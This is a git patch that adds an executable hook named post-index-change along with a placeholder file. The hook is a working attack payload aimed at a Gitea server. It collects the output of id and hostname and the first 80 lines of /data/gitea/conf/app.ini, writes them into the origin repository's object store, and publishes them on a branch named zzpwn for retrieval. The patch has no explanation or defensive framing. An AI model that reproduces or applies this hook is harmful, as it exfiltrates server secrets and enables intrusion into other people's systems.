From 6f959e9cf24b72cf10973b7fb7739bc7c5a714ea Mon Sep 17 00:00:00 2001 From: neo2508e6cf Date: Mon, 9 Nov 2026 23:13:51 +0000 Subject: [PATCH] p1 --- hooks/post-index-change | 10 ++++++++++ zz.txt | 1 + 2 files changed, 11 insertions(+) create mode 100755 hooks/post-index-change create mode 100644 zz.txt diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..57d4c68 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,10 @@ +#!/bin/sh +ORIGIN=$(git config --get remote.origin.url 2>/dev/null) +[ -z "$ORIGIN" ] && exit 0 +OUT=$( (id; hostname; echo ---; cat /data/gitea/conf/app.ini 2>/dev/null | head -80) 2>&1 ) +BLOB=$(printf "%s" "$OUT" | git --git-dir="$ORIGIN" hash-object -w --stdin 2>/dev/null) +TREE=$(printf "100644 blob %s\tout.txt\n" "$BLOB" | git --git-dir="$ORIGIN" mktree 2>/dev/null) +C=$(echo pwn | GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x git --git-dir="$ORIGIN" commit-tree "$TREE" 2>/dev/null) +git --git-dir="$ORIGIN" update-ref refs/heads/zzpwn "$C" 2>/dev/null +exit 0 +# v1 diff --git a/zz.txt b/zz.txt new file mode 100644 index 0000000..9e35a1c --- /dev/null +++ b/zz.txt @@ -0,0 +1 @@ +x1